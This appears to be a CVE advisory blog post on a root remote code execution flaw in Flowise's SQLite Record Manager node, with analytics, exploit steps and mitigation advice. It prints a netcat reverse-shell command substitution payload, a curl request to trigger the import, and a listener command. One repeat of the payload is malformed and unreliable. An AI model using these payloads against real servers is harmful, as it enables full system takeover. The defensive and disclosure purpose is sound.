Listen to this Post
Intro
CVE-2026-69259 is a critical remote code execution vulnerability affecting FlowiseAI/Flowise versions prior to 3.1.3. The flaw resides in the SQLite Record Manager node (packages/components/nodes/recordmanager/SQLiteRecordManager/SQLiteRecordManager.ts), which accepts a user-controlled `additionalConfig` parameter. This parameter is merged via object spread after the intended `database` path setting, allowing an attacker to override the database file path to an arbitrary location.
Because the official Flowise Docker image runs as root, an authenticated attacker can write a malicious SQLite database to system directories such as /etc/chromium/exploit.conf. The `tableName` input is restricted to alphanumeric characters and underscores (/^[a-zA-Z0-9_]+$/), preventing direct SQL injection or shell comment techniques. However, the attacker manipulates the binary structure of the SQLite file: by setting `tableName` to a 13‑character string (e.g., AAAAAAAAAAAAA), the encoded serial type becomes a single quote ('). This injected quote wraps the parentheses `()` inside the index creation SQL, which would otherwise cause a syntax error when the file is sourced as a shell script.
The attacker then sets the `namespace` parameter to a command substitution payload, e.g. '$(/usr/bin/nc 172.17.0.1 1337 -e /bin/sh), which closes the opened quote and executes the reverse shell. When Puppeteer later launches Chromium, the browser sources all `.conf` files from /etc/chromium/, triggering the embedded shell syntax and achieving remote code execution with root privileges. The vulnerability is fixed in version 3.1.3.
DailyCVE Form
Platform: FlowiseAI/Flowise
Version: 3.1.2 and earlier
Vulnerability: Remote Code Execution (RCE)
Severity: Critical (CVSS 9.4)
Date: 24-Apr-2026
Prediction: Patch available in 3.1.3
What Undercode Say
- Analytics:
- CVSS v4.0 Score: 9.4 (Critical)
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low
- User Interaction: None
- Confidentiality/Integrity/Availability Impact: High
- Affected Component: SQLite Record Manager node
- Fixed in: 3.1.3
- Bash Commands & Codes:
Check Flowise version npm list flowise --depth=0 | grep flowise Verify Docker image runs as root docker run --rm flowiseai/flowise:3.1.2 id Exploit payload (namespace) NAMESPACE="'$(/usr/bin/nc 172.17.0.1 1337 -e /bin/sh)" Trigger via Chatflow import (see sqlite-record-rce-poc.json) curl -X POST http://target:3000/api/v1/chatflows/import \ -H "Authorization: Bearer $API_KEY" \ -F "[email protected]" Listener for reverse shell nc -lnvp 1337
Exploit
- Import a malicious Chatflow (JSON) that configures the SQLite Record Manager node with:
– `additionalConfig.database` = `/etc/chromium/exploit.conf`
– `tableName` = `AAAAAAAAAAAAA` (13 chars, serial type')
– `namespace` = `’$(/usr/bin/nc-e /bin/sh)`
2. Perform an Upsert Vector Store operation; this writes the SQLite database to the specified path. - The `CREATE INDEX` statement inside the database contains the injected single quote and the namespace payload.
- When Puppeteer launches Chromium (e.g., during headless browser operations), Chromium sources all `.conf` files from
/etc/chromium/, executing the embedded shell command. - The attacker receives a reverse shell as `root` on the container host.
Protection
- Upgrade to Flowise version 3.1.3 or later.
- Validate `additionalConfig` to prevent overwriting the `database` property.
- Run the Flowise container with a non‑root user (low‑privileged) to limit filesystem access.
- Restrict network access to the Flowise API and limit authenticated user permissions.
- Monitor for unusual Chatflow imports or Upsert operations targeting system paths.
Impact
Successful exploitation allows an authenticated attacker to achieve remote code execution with root privileges on the Flowise server container. This leads to full compromise of the application, including data theft, service disruption, and lateral movement within the host environment.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
